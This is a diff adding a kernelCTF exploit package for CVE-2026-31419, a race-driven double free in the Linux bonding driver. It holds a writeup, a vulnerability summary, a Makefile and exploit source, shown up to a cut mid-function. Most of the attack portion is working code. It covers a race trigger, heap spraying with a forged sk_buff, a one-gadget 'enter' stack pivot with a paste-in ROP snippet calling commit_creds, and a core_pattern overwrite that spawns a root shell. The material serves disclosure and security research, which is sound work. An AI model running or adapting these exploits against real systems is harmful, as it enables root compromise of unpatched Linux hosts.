diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/.gitignore b/pocs/linux/kernelctf/CVE-2026-31419_cos/.gitignore new file mode 100644 index 000000000..817b2d693 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/.gitignore @@ -0,0 +1,3 @@ +bzImage +vmlinux +rootfs.img.gz \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/exploit.md new file mode 100644 index 000000000..2260ee582 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/exploit.md @@ -0,0 +1,410 @@ +Exploit Details +=============== + +In this writeup we explain how we exploited CVE-2026-31419 to capture the flag +on a `cos-121-18867.294.134` instance. + +# Prologue + +CVE-2026-31419 is a use-after-free in the Linux bonding driver. In broadcast +mode, `bond_xmit_broadcast()` reuses the original `sk_buff` for the "last" slave +and clones it for the others, but the "last" slave is chosen inside an +RCU-protected loop. By racing slave enslave/release against a broadcast +transmit, the original `skb` is consumed twice, giving us a UAF on an +`skbuff_head_cache` object. We turn that UAF into RIP control via a fake `skb`, +then perform ROP to escalate privileges. + +This writeup focuses on how we reach RIP control. Turning that control-flow-hijack +primitive into a ROP chain relies on a novel **one-gadget stack-pivot** technique +described in [`novel-techniques.md`](novel-techniques.md). + +## What We Cover + +- Root-cause analysis +- Triggering the bug +- Primitive analysis and exploitation design +- Exploitation Details + +# Root-Cause Analysis + +The vulnerable function is `bond_xmit_broadcast()` in +`drivers/net/bonding/bond_main.c`. The pre-patch source (Linux 6.12) is: + +```c +/* in broadcast mode, we send everything to all usable interfaces. */ +static netdev_tx_t bond_xmit_broadcast(struct sk_buff *skb, + struct net_device *bond_dev) +{ + struct bonding *bond = netdev_priv(bond_dev); + struct slave *slave = NULL; + struct list_head *iter; + bool xmit_suc = false; + bool skb_used = false; + + bond_for_each_slave_rcu(bond, slave, iter) { + struct sk_buff *skb2; + + if (!(bond_slave_is_up(slave) && slave->link == BOND_LINK_UP)) + continue; + + if (bond_is_last_slave(bond, slave)) { + skb2 = skb; + skb_used = true; + } else { + skb2 = skb_clone(skb, GFP_ATOMIC); + if (!skb2) { + net_err_ratelimited("%s: Error: %s: skb_clone() failed\n", + bond_dev->name, __func__); + continue; + } + } + + if (bond_dev_queue_xmit(bond, skb2, slave->dev) == NETDEV_TX_OK) + xmit_suc = true; + } + + if (!skb_used) + dev_kfree_skb_any(skb); + + if (xmit_suc) + return NETDEV_TX_OK; + + dev_core_stats_tx_dropped_inc(bond_dev); + return NET_XMIT_DROP; +} +``` + +This function has a race in how it uses `skb`. + +The central loop transmits `skb` to every usable slave. For each slave that is +not the last one in the bond, it sends a clone (`skb_clone`); for the last +slave, it reuses and consumes the original `skb`. Reusing the original for the +last slave avoids one unnecessary clone, but it makes correctness depend on +identifying the last slave exactly once. That check is broken: + +``` +#define bond_slave_list(bond) (&(bond)->dev->adj_list.lower) + +void *netdev_adjacent_get_private(struct list_head *adj_list) +{ + struct netdev_adjacent *adj; + + adj = list_entry(adj_list, struct netdev_adjacent, list); + + return adj->private; +} + +EXPORT_SYMBOL(netdev_adjacent_get_private); + +#define bond_last_slave(bond) \ + (bond_has_slaves(bond) ? \ + netdev_adjacent_get_private(bond_slave_list(bond)->prev) : \ + NULL) + +#define bond_is_last_slave(bond, pos) (pos == bond_last_slave(bond)) +``` + +`bond_is_last_slave()` does not cache the last slave before the loop; it +re-derives it from `(bond)->dev->adj_list` on every iteration. Because the loop +is protected only by RCU, not by `rtnl`, that list can change underneath it: a +concurrent enslave/release reorders `adj_list`, so a slave that was not last +when the loop started can become last mid-iteration. + +Consider a bond with a single slave `dev1`, and two threads: + +- Thread 1: `bond_xmit_broadcast()` +- Thread 2: repeatedly enslave a second device `dev2`, then release it + +The double-free interleaving is: + +- `bond_is_last_slave(dev1)` -> true, so `dev1` reuses and consumes the original `skb` +- Thread 2 enslaves `dev2`, making it the new last slave +- the loop advances to `dev2`; `bond_is_last_slave(dev2)` -> true, so `dev2` consumes the original `skb` again -> double-free + + +``` +================================================================== +BUG: KASAN: slab-use-after-free in skb_clone +Read of size 8 at addr ffff888100ef8d40 by task exploit/147 + +CPU: 1 UID: 0 PID: 147 Comm: exploit Not tainted 7.0.0-rc3+ #4 PREEMPTLAZY +Call Trace: + + dump_stack_lvl (lib/dump_stack.c:123) + print_report (mm/kasan/report.c:379 mm/kasan/report.c:482) + kasan_report (mm/kasan/report.c:597) + skb_clone (include/linux/skbuff.h:1724 include/linux/skbuff.h:1792 include/linux/skbuff.h:3396 net/core/skbuff.c:2108) + bond_xmit_broadcast (drivers/net/bonding/bond_main.c:5334) + bond_start_xmit (drivers/net/bonding/bond_main.c:5567 drivers/net/bonding/bond_main.c:5593) + dev_hard_start_xmit (include/linux/netdevice.h:5325 include/linux/netdevice.h:5334 net/core/dev.c:3871 net/core/dev.c:3887) + __dev_queue_xmit (include/linux/netdevice.h:3601 net/core/dev.c:4838) + ip6_finish_output2 (include/net/neighbour.h:540 include/net/neighbour.h:554 net/ipv6/ip6_output.c:136) + ip6_finish_output (net/ipv6/ip6_output.c:208 net/ipv6/ip6_output.c:219) + ip6_output (net/ipv6/ip6_output.c:250) + ip6_send_skb (net/ipv6/ip6_output.c:1985) + udp_v6_send_skb (net/ipv6/udp.c:1442) + udpv6_sendmsg (net/ipv6/udp.c:1733) + __sys_sendto (net/socket.c:730 net/socket.c:742 net/socket.c:2206) + __x64_sys_sendto (net/socket.c:2209) + do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94) + entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130) + + +Allocated by task 147: + +Freed by task 147: + +The buggy address belongs to the object at ffff888100ef8c80 + which belongs to the cache skbuff_head_cache of size 224 +The buggy address is located 192 bytes inside of + freed 224-byte region [ffff888100ef8c80, ffff888100ef8d60) + +Memory state around the buggy address: + ffff888100ef8c00: fb fb fb fb fc fc fc fc fc fc fc fc fc fc fc fc + ffff888100ef8c80: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb +>ffff888100ef8d00: fb fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc + ^ + ffff888100ef8d80: fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb fb + ffff888100ef8e00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb +================================================================== +``` + +# Triggering the Bug + +A PoC that triggers the bug inside a user namespace (which grants `CAP_NET_ADMIN`): + +```c + int fd = initNL(); + + // Master bond0 + NLMsgSend(fd, bondAdd("bond0")); + NLMsgSend(fd, bondModeSet("bond0",3)); + NLMsgSend(fd, linkSet("bond0",1)); + + // Two slaves + NLMsgSend(fd, dummyAdd("dummy0")); + NLMsgSend(fd, dummyAdd("dummy1")); + NLMsgSend(fd, linkMasterSet("dummy0","bond0")); + NLMsgSend(fd, linkMasterSet("dummy1","bond0")); + NLMsgSend(fd, dummySet("dummy0",1)); + NLMsgSend(fd, dummySet("dummy1",1)); + // Race + if(fork()){ + pinCPU(0); + while(1){ + NLMsgSend(fd, linkMasterSet("dummy0","bond0")); + NLMsgSend(fd, linkMasterDel("dummy0")); + } + } + else{ + pinCPU(1); + interfaceBroadCase("bond0"); + } +``` + +# Primitive Analysis and Exploitation Design + +## The primitive + +The bug is a double-free of an `skb`. To exploit any double-free in the kernel +without crashing, we must reclaim the object between the two frees, so that the +second free lands on an object we control rather than on already-freed memory. + +The difficulty here is timing: the bug performs both frees within a single +syscall, so there is no natural pause between them. We need to widen the window +between the two frees to fit a reclaim in. + +## Enlarging the double-free window + +The consumer netdev frees the `skb` from its `xmit` path, and that path can be +made asynchronous by attaching a qdisc. We attach a `netem` qdisc with a delay +to the target netdev, which holds the `skb` in its queue before freeing it. This +delays the second free long enough to reclaim the object in between, turning the +double-free into an exploitable use-after-free. + +## Exploitation design + +1. **Win the race**, combining *Triggering the Bug* with the delayed `netem` + qdisc on the target netdev from the previous subsection. +2. **Reclaim** the freed slot with a forged `sk_buff` from the same + `skbuff_head_cache`, using a unix-socket `skb` spray to occupy the slot and a + `PACKET_TX_RING` page spray to back its contents. +3. **Hijack RIP** through a function pointer in the forged `skb`. + +The rest of this writeup walks through these three steps as implemented in +`exploit()`. + +# Exploitation Details + +## Common Techniques Used + +We rely on several common techniques that this report does not cover in detail: + +- Kernel ROP +- user namespaces (`user_ns`) +- raising the open-fd limit +- `core_pattern` namespace escaping +- stability improvements +- code to make the exploit work under CI + +We had an elegant version that worked perfectly locally and remotely, but not +under CI. It was fast and stable. After spending several days on CI, we gave up +on delivering an elegant exploit. + +## Exploitation Flow + +This section explains the major steps in our `exploit.cc` (`void exploit(void)`). + +1. Before the race, we prepare the network: +```c + // Master bond0 + NLMsgSend(fd, bondAdd("bond0")); + // Set to the broadcast mode + NLMsgSend(fd, bondModeSet("bond0",3)); + // Large enough MTU + NLS(fd, linkMtuSet("bond0",0x9999)); + // Make it up + NLMsgSend(fd, linkSet("bond0",1)); + + // Add two slaves to it + // Slave 1: dummy0 + // Slave 2: veth pair -> netem qdisc (so we can delay the skb consume) + NLMsgSend(fd, dummyAdd("dummy0")); + NLS(fd, vethAdd("veth0","veth1")); + NLS(fd, linkSet("veth1",1)); + NLS_IF(fd, netemQdisc(QDISC_ADD,0x10000,-1, LARGE_USEC_FOR_SLEEP),"veth0"); + NLMsgSend(fd, linkMasterSet("veth0","bond0")); + NLMsgSend(fd, linkMasterSet("dummy0","bond0")); + NLMsgSend(fd, dummySet("dummy0",1)); +``` + +2. Two threads race. Thread 1: +```c + if(fork()==0){ + pinCPU(0); + close(pipefd1[1]); + close(pipefd2[0]); + + struct pollfd pfd1 = {.fd = pipefd1[0], .events=POLLIN}; + for(int attempt = 0; attempt < MAX_RACE_ATTEMPTS; attempt++){ + NLMsgSend(fd, linkMasterDel("veth0")); + NLMsgSend(fd, linkMasterSet("veth0","bond0")); + + if(poll(&pfd1,1,0)>0) + { + // Allocate on cpu 0 and return to cpu 1 + for(int i = 0x20 ; i < 0x31; i++) + write(sk_fd[i][1],trash,SKB_DATA_SIZE); + pinCPU(1); + for(int i = 0x20 ; i < 0x31; i++) + read(sk_fd[i][0],trash,SKB_DATA_SIZE); + write(pipefd2[1],trash, 4); + sleep(1000); + } + } + } +``` + +Stripped of the stability and state-detection code, it is as simple as: +```c +pinCPU(0); +while (True) +{ + NLMsgSend(fd, linkMasterDel("veth0")); + NLMsgSend(fd, linkMasterSet("veth0","bond0")); +} +``` + +3. Two threads race. Thread 2 (comments added for readability): +```c + else{ + // Prepare + size_t *ptr = (size_t *)trash; + char *qdisc_del_message = qdiscDel(0x10000); + char *qdisc_add_message = netemQdisc(QDISC_ADD,0x10000,-1, LARGE_USEC_FOR_SLEEP); + pinCPU(1); + close(pipefd1[0]); + close(pipefd2[1]); + + // Prepare 8 slabs for the cpu partial list + for(size_t i = 0x100 ; i < 0x180; i++) + write(sk_fd[i][1],trash,SKB_DATA_SIZE); + // Start racing + while(1){ + // 1. Allocation + // pre-pad + for(size_t i = 0x0 ; i < 0x10; i++) + write(sk_fd[i][1],trash,SKB_DATA_SIZE); + // Allocate the target skb + sendto(if_bc_socket, trash, 0x200-0x140-0x48-1, 0, (struct sockaddr *)&dst, sizeof(dst)); + // a free slot should be taken by the sk_buff; confirmed in debugging, usually slot 0x10 + // after-pad + for(size_t i = 0x10 ; i < 0x20; i++) + { + *ptr = i; + write(sk_fd[i][1],trash,SKB_DATA_SIZE); + } + + + // 2. Trigger UAF + // Delete the skbs and the head in the queue + NLS_IF(fd, qdisc_del_message,"veth0"); + // Reclaim the data object so we don't crash on the double free + for(int i = 0x40 ; i < 0x60; i++) + { + *ptr = i; + write(sk_fd[i][1],trash,SKB_DATA_SIZE); + } + // Confirm the UAF and reclaim the freed slot + for(size_t i = 0x10 ; i < 0x20; i++) + { + int res = read(sk_fd[i][0],trash, SKB_DATA_SIZE); + if(res < 0 || *ptr != i){ + // Now we are sure we hit the race + write(pipefd1[1], "FIRE", 4); + read(pipefd2[0],trash,4); + + for(size_t j = i+1 ; j < 0x20; j++) + read(sk_fd[j][0],trash,SKB_DATA_SIZE); + for(size_t i = 0x0 ; i < 0x10; i++) + read(sk_fd[i][0],trash,SKB_DATA_SIZE); + for(int i = 0x100; i<0x180; i+=0x10) + read(sk_fd[i][0],trash,SKB_DATA_SIZE); + pgvAdd(0,0,0x100); + char * target = (char *)pgvMap(0); + char * fake_skb = make_fake_skb(); + char buf[0x1000]; + for(int i = 0 ; i < 0x10 ; i ++) + memcpy(buf+i*0x100,fake_skb,0x100); + for(int i = 0 ; i < 0x100 ; i++) + memcpy(target+i*0x1000,buf,0x1000); + success("Trying..."); + res = recv(sk_fd[i][0], trash, 0,0); + if(res<0){ + info("seems fail"); + for(int i = 0x40 ; i < 0x60; i++) + read(sk_fd[i][0],trash,SKB_DATA_SIZE); + info("Failed to exploit, retry..."); + goto END; + } + else goto END; // We won + } + + } + // Prepare for retry + NLS_IF(fd, qdisc_add_message,"veth0"); + for(size_t i = 0x0 ; i < 0x10; i++) + read(sk_fd[i][0],trash,SKB_DATA_SIZE); + for(int i = 0x40 ; i < 0x60; i++) + read(sk_fd[i][0],trash,SKB_DATA_SIZE); + } + } +``` + +4. Control-flow hijacking + +Reclaiming the freed `skbuff_head_cache` object with a forged `skb` gives us a +control-flow-hijack primitive: the kernel calls an address of our choosing. From +there we perform ROP, using a novel **one-gadget stack pivot** to turn this +primitive into a ROP chain - described in +[`novel-techniques.md`](novel-techniques.md). diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/novel-techniques.md b/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/novel-techniques.md new file mode 100644 index 000000000..99cb21236 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/novel-techniques.md @@ -0,0 +1,178 @@ +# Xen (X-Enter) + +We discovered a novel technique to achieve one-gadget stack pivoting. + +We use an `enter imm16, imm8` gadget to pivot the kernel stack into the adjacent +vmalloc area, after spraying vmalloc blobs around the target stack frame. + + + +# enter imm16, imm8 + +`enter imm16, imm8` builds a stack frame in one instruction. With level +`L = imm8 & 0x1f`, it pushes `L+1` qwords, sets RBP, and then subtracts the +16-bit `imm16` from RSP: + +``` +RSP -= imm16 + 8 * (L + 1) +``` + +We use it as a one-instruction stack pivot. A single `enter` drops RSP by up to +~`0x10000`, enough to step out of the current kernel stack, across the +`VMAP_STACK` guard page, and into the adjacent vmalloc pages we sprayed. This is +why no register control is needed at the hijack site: we only need PC to reach +one `enter` gadget. + +`enter` is the single-byte opcode `\xc8`, so it shows up all over the kernel as +both intended and unintended gadgets (>1000 in a stock kernel). Finding a +reachable one is not a problem. + +> On larger kernels, an `add rsp, imm` gadget can also pivot the stack, but it +> is not very common. + +# vmalloc spray & X-enter + +For the default config the kernel stack lives in the vmalloc area, and vmalloc +allocates linearly. So if we keep spraying user-controlled vmalloc pages, the +stack at the moment of control-flow hijacking ends up surrounded by our pages. + +Layout we build: + +``` + vmalloc (linear) + ┌────────────┬────────────┬───────┬────────────┐ + │ sprayed │ sprayed │ STACK │ sprayed │ ... + │ RET-slide │ RET-slide │ (CFH) │ RET-slide │ + │ + ROP │ + ROP │ │ + ROP │ + └────────────┴────────────┴───────┴────────────┘ +``` + +Each sprayed page is a long `ret` slide ending in the ROP chain, so wherever the +`enter` leaves RSP inside the page, execution walks down the slide into the +chain. The slide also absorbs the `RANDKSTACK` random offset. + +The pivot itself: at the hijack site RSP sits inside `STACK (CFH)`. A single +`enter imm16, imm8` subtracts up to ~`0x10000` from RSP in one instruction, +jumping it backwards across the `VMAP_STACK` guard page into a sprayed page. +RSP now points into the `ret` slide, which carries execution down into the ROP +chain: + +``` + vmalloc (linear) + ┌────────────┬────────────┬───────┬────────────┐ + │ sprayed │ sprayed │ STACK │ sprayed │ ... + │ RET-slide │ RET-slide │ (CFH) │ RET-slide │ + │ + ROP │ + ROP │ │ + ROP │ + └─────▲──────┴────────────┴───┬───┴────────────┘ + │ │ RSP @ hijack + │ enter imm16, imm8 │ + └───────────────────────┘ + RSP -= ~0x10000 + (across VMAP_STACK guard) + + RSP now inside a sprayed page: + RET-slide ──ret──ret──ret──▶ ROP chain ──▶ commit_creds / SYSRET +``` + +We spray with XDP (`XDP_UMEM_REG`): it pins a user buffer into vmalloc. Raise +`RLIMIT_MEMLOCK` first, fork a wave of sleeping children to stabilize the +layout, then register the payload on many `AF_XDP` sockets. + +> Other vmalloc spray methods are also available in the kernel. + + +# Example + +- Adjust the ROP related gadgets addresses +- Past the following code to your exploit +- call `xen();` before you trigger your control flow hijacking + + +```c +// xen code +#include +#include +#include +#include + +size_t kaslr = 0xffffffff81000000; +#define POP_RDI_RET 0xffffffff824006b2 +#define POP_RCX_RET 0xffffffff8240060a +#define POP_R11_RET 0xffffffff81c0bc31 +#define commit_creds 0xffffffff811bb410 +#define init_cred 0xffffffff83676840 +#define SYSRET 0xffffffff822001d0 +static inline size_t AA(size_t v) { // Adjust Address for gadgets + return v - 0xffffffff81000000 + kaslr; +} +void shell(){ + system("/bin/sh"); +} +size_t user_cs, user_ss, user_sp, user_rflags; +void saveStatus() { + __asm__ ( + "movq %%cs, %0;" + "movq %%ss, %1;" + "movq %%rsp, %2;" + "pushfq;" + "popq %3;" + : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) + ); +} +char* ropgen() { + int ct = 0; + size_t *ctx = (size_t *)calloc(1,0x1000); + ctx[ct++] = AA(POP_RDI_RET); + ctx[ct++] = AA(init_cred); + ctx[ct++] = AA(commit_creds); + ctx[ct++] = AA(POP_RCX_RET); + ctx[ct++] = (size_t)shell; + ctx[ct++] = AA(POP_R11_RET); + ctx[ct++] = user_rflags; + ctx[ct++] = AA(SYSRET); + ctx[ct++] = user_sp | 8; + ctx[ct++] = 0xdeadbeefdeadbeef; // Magic num for debugging + return (char*)ctx; +} +static void xen(void){ + puts("Xen"); + saveStatus(); + struct rlimit rl = { .rlim_cur = RLIM_INFINITY, .rlim_max = RLIM_INFINITY }; + int sr = setrlimit(RLIMIT_MEMLOCK, &rl); + char *rop_chain = ropgen(); + char buf[0x1000]= {}; + size_t *ptr = (size_t *)buf; + for(int i = 0; i < 0x200; i ++) + ptr[i] = AA(POP_RDI_RET+1); // RET Slid + int offset= 0; + memcpy(buf+0x1000-0x8*10-offset,rop_chain,0x8*10); + + char *m = mmap(0, 0x10000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE, -1, 0); + for (size_t i = 0; i < 0x10000; i += 0x1000) + memcpy(m + i+offset, buf, 0x1000-offset); + for(int i = 0 ; i< 0x200;i ++){ + int pid = fork(); + if(pid==0){ + sleep(100); + exit(0); + } + } + // XDP Spray + for (int b = 0; b < 0x80; b++) { + int xs = socket(AF_XDP, SOCK_RAW, 0); + struct xdp_umem_reg mr = { + .addr = (size_t)m, + .len = 0x10000, + .chunk_size = 0x1000, + .headroom = 0, + .flags = 0, + }; + int res = setsockopt(xs, SOL_XDP, XDP_UMEM_REG, &mr, sizeof(mr)); + } + // Allocate a new stack fram as the target fram + int pid = fork(); + if(pid) + waitpid(pid, 0, 0); +} +``` + diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/vulnerability.md new file mode 100644 index 000000000..7f8f31451 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/vulnerability.md @@ -0,0 +1,46 @@ +# Vulnerability + +CVE-2026-31419 is a use-after-free vulnerability in the Linux kernel's bonding +driver, in `bond_xmit_broadcast()` (`drivers/net/bonding/bond_main.c`). + +bond_xmit_broadcast() reuses the original skb for the last slave +(determined by bond_is_last_slave()) and clones it for others. +Concurrent slave enslave/release can mutate the slave list during +RCU-protected iteration, changing which slave is "last" mid-loop. +This causes the original skb to be double-consumed (double-freed). + +``` +BUG: KASAN: slab-use-after-free in skb_clone +Read of size 8 at addr ffff888100ef8d40 by task exploit/147 + skb_clone (net/core/skbuff.c:2108) + bond_xmit_broadcast (drivers/net/bonding/bond_main.c:5334) + bond_start_xmit (drivers/net/bonding/bond_main.c:5567 5593) + dev_hard_start_xmit (net/core/dev.c:3887) + __dev_queue_xmit (net/core/dev.c:4838) + ip6_finish_output2 (net/ipv6/ip6_output.c:136) + ... + udpv6_sendmsg (net/ipv6/udp.c:1733) + __sys_sendto (net/socket.c:2206) +``` + +## Requirements +- **Capabilities**: `CAP_NET_ADMIN` +- **Kernel configuration**: `CONFIG_BONDING`. +- **User namespaces**: Required to obtain `CAP_NET_ADMIN` as an unprivileged + user. + +## Introduction +- **Fixes tag**: [4e5bd03ae346](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4e5bd03ae346) ("net: bonding: fix bond_xmit_broadcast return value error bug") + + +## Fix +- **Commit**: [2884bf72fb8f](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=2884bf72fb8f03409e423397319205de48adca16) ("net: bonding: fix use-after-free in bond_xmit_broadcast()") + +## Affected Versions +- Linux 5.17-rc1 to 7.0-rc6 + +## Subsystem +- net/bonding + +## Root Cause +- Race Condition \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/.gitignore b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/.gitignore new file mode 100644 index 000000000..68f5389b9 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/.gitignore @@ -0,0 +1,8 @@ +# Fetched at build time (do not commit the binary DB) +target_db.kxdb + +# Cloned + built at build time (libxdk with leak_kaslr_base) +kernel-research/ + +# Debug build artifact (the release `exploit` binary IS committed) +exploit_debug diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/Makefile b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/Makefile new file mode 100644 index 000000000..87dc1b241 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/Makefile @@ -0,0 +1,64 @@ +# Makefile for the CVE-2026-31419 exploit (C++ / libxdk). +# The KASLR leak is provided by libxdk's leak_kaslr_base() (prefetch +# side-channel + majority vote). +# +# Usage: +# make # build ./exploit +# make exploit_debug # build ./exploit_debug (with -g) +# make clean + +CXX := g++ +CXXFLAGS := -O0 -static -std=c++17 -pthread -w +DBGFLAGS := -g +TARGET := exploit +SOURCE := exploit.cc + +# Local libx. +LIBX_DIR := ./libx +LIBX_LIB := $(LIBX_DIR)/libx.a + +# libxdk: cloned + built from google/kernel-research (the version that ships +# leak_kaslr_base()); the system-installed libkernelXDK.a predates it. +KR_DIR := kernel-research +XDK_INCLUDE := $(KR_DIR)/libxdk/include +XDK_LIB := $(KR_DIR)/libxdk/lib/libkernelXDK.a + +INCLUDES := -I$(LIBX_DIR) -I$(XDK_INCLUDE) +LIBS := $(LIBX_LIB) $(XDK_LIB) -lpthread + +# Target database embedded via INCBIN(target_db, "target_db.kxdb"). +KXDB := target_db.kxdb +KXDB_URL := https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb + +.PHONY: all clean prerequisites exploit_debug + +all: prerequisites $(TARGET) + +prerequisites: $(LIBX_LIB) $(XDK_LIB) $(KXDB) + +# Build local libx. +$(LIBX_LIB): + $(MAKE) -C $(LIBX_DIR) + +# Fetch the target database for AutoDetectTarget()/GetKernelPageCount(). +$(KXDB): + wget -O $@ $(KXDB_URL) + +# Clone libxdk. +$(KR_DIR): + git clone --depth 1 https://github.com/google/kernel-research.git $@ + +# Build the kernelXDK static archive (build.sh only builds the test target, +# so invoke the library target explicitly; it installs to lib/libkernelXDK.a). +$(XDK_LIB): | $(KR_DIR) + cd $(KR_DIR)/libxdk && cmake -B build && cmake --build build --target kernelXDK -j + +$(TARGET): $(SOURCE) prerequisites + $(CXX) $(CXXFLAGS) $(INCLUDES) $(SOURCE) -o $(TARGET) $(LIBS) + +exploit_debug: $(SOURCE) prerequisites + $(CXX) $(CXXFLAGS) $(DBGFLAGS) $(INCLUDES) $(SOURCE) -o exploit_debug $(LIBS) + +clean: + rm -f $(TARGET) exploit_debug + $(MAKE) -C $(LIBX_DIR) clean 2>/dev/null || true diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/exploit b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/exploit new file mode 100755 index 000000000..4a889f574 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/exploit.cc b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/exploit.cc new file mode 100644 index 000000000..61ca78f58 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/exploit.cc @@ -0,0 +1,412 @@ +// #define DEBUG True +extern "C" { +#include +} +#include +#include +#include +#include +#include +#include +INCBIN(target_db, "target_db.kxdb"); + +size_t kaslr = -1; + +// libxdk target (kernelXDK database); used to resolve symbols and build the ROP +// chain dynamically instead of hardcoding addresses for one specific target. +Target *g_target = nullptr; + +#define LARGE_USEC_FOR_SLEEP 10000000000 +#define SKB_DATA_SIZE 0x400-0x140 + +// The privesc symbols and the whole privesc + ret2usr ROP chain are resolved at +// runtime from the kernelXDK database (see ropgen()) - no privesc address is +// hardcoded. The only two raw gadgets below are the ones the Xen pivot needs and +// that the kxdb does not carry (it has no `enter` one-gadget): the `enter` gadget +// and a bare `ret` for the slide. Both are single-byte-opcode gadgets that exist +// in abundance in any kernel image, so they are trivial to locate per target. +// +// Xen (X-Enter) one-gadget stack pivot. `enter 0xff48, 0x89; ret;` drops RSP by +// 0xff48 + 8*(9+1) = 0xff98 - across the VMAP_STACK guard page into the XDP- +// sprayed vmalloc RET-slide. imm16 is a multiple of 8 so RSP stays 8-aligned and +// the RET-slide reads clean qwords (an odd sub like 0x1004f misaligns -> garbage). +#ifdef DEBUG + #define ENTER_GADGET 0xffffffffdeadbeef +#else + #define ENTER_GADGET 0xffffffff82536399 // enter 0xff48, 0x89; ret; +#endif +#define RET_SLIDE 0xffffffff810005b3 // ret; + +#define MAX_RACE_ATTEMPTS 2000 // inner master del/add spins + +// Relocate a base-relative address by the leaked KASLR base. +static inline size_t AA(size_t v) { return v - KASLR + kaslr; } + +int if_bc_socket = -1; +struct sockaddr_in6 dst; + +void prepare_if_bc(char *if_name){ + if_bc_socket = socket(AF_INET6, SOCK_DGRAM, 0); + int ifindex = if_nametoindex(if_name); + dst.sin6_family = AF_INET6; + dst.sin6_port = htons(12345); + inet_pton(AF_INET6, "ff02::1", &dst.sin6_addr); + dst.sin6_scope_id = ifindex; +} + +void fork_shell(){ + success("PWN"); + int fd = open("/proc/sys/kernel/core_pattern",2); + write(fd,"|/proc/%P/fd/666\0",18); + close(fd); + sleep(1000); +} + +typedef struct { + size_t next; + size_t prev; + char pad[0x50]; + size_t rip_control; // 0ffset = 0x60 + size_t pad2; + unsigned int len; + unsigned int datalen; // offset = 0x74 + char pad3[0xbc-0x78]; + unsigned int end; + size_t head; + size_t cur; + char pad4[0xd4-0xd0]; + unsigned int user; + char pad5[0xf0-0xe0]; + size_t debug_magic; + char pad6[0x100-0xf8]; +} fake_skb_t; + +// Build the fake skb. With Xen the only field that matters for control flow is +// rip_control (offset 0x60), aimed at the `enter` one-gadget. The remaining +// fields keep the skb structurally valid so the kernel reaches the call site. +char * make_fake_skb(void){ + saveStatus(); + hook_segfault(); + fake_skb_t * fake_skb = (fake_skb_t *)calloc(1,0x100); + fake_skb->next = AA(0xffffffff848d7fa0) - 8; // any kernel-readable + fake_skb->prev = AA(0xffffffff848d7fa0); + fake_skb->rip_control = AA(ENTER_GADGET); + fake_skb->len = 0; + fake_skb->datalen = 1; + fake_skb->end = 0x10; + fake_skb->head = AA(0xffffffff848d7fa0); + fake_skb->cur = AA(0xffffffff848d7fa0); + fake_skb->user = 1; + fake_skb->debug_magic = 0xdeadbeef; + return (char *)fake_skb; +} + +// Privilege-escalation ROP chain placed at the tail of every sprayed RET-slide +// page: commit_creds(&init_cred) then return to fork_shell() as root. +// +// The ROP chain is built dynamically via libxdk: COMMIT_INIT_TASK_CREDS and the +// RET2USR sequence are resolved from the target database (kernelXDK), so no +// privesc gadget/symbol addresses are hardcoded - per the kernelCTF rules. +size_t g_rop_words[0x80]; +int g_rop_nwords; +char* ropgen(void){ + RopChain rop(*g_target, kaslr); + rop.AddRopAction(RopActionId::COMMIT_INIT_TASK_CREDS); // commit_creds(&init_cred) + RopUtils::Ret2Usr(rop, (void*)fork_shell); // swapgs/iretq -> fork_shell + auto words = rop.GetDataWords(); + g_rop_nwords = (int)words.size(); + for (int i = 0; i < g_rop_nwords && i < (int)(sizeof(g_rop_words)/8); i++) + g_rop_words[i] = words[i]; + return (char*)g_rop_words; +} + +// Xen vmalloc spray via XDP (XDP_UMEM_REG): xdp_umem_create() vmap()s the pinned +// user buffer into the vmalloc area next to the vmap kernel stacks. Each page is +// a long RET-slide ending in the privesc ROP chain, so a single `enter` from the +// trigger thread's stack drops RSP into the slide -> walks into the ROP chain. +static void xen(void){ + info("Xen"); + saveStatus(); + struct rlimit rl = { .rlim_cur = RLIM_INFINITY, .rlim_max = RLIM_INFINITY }; + setrlimit(RLIMIT_MEMLOCK, &rl); + + char *rop_chain = ropgen(); + 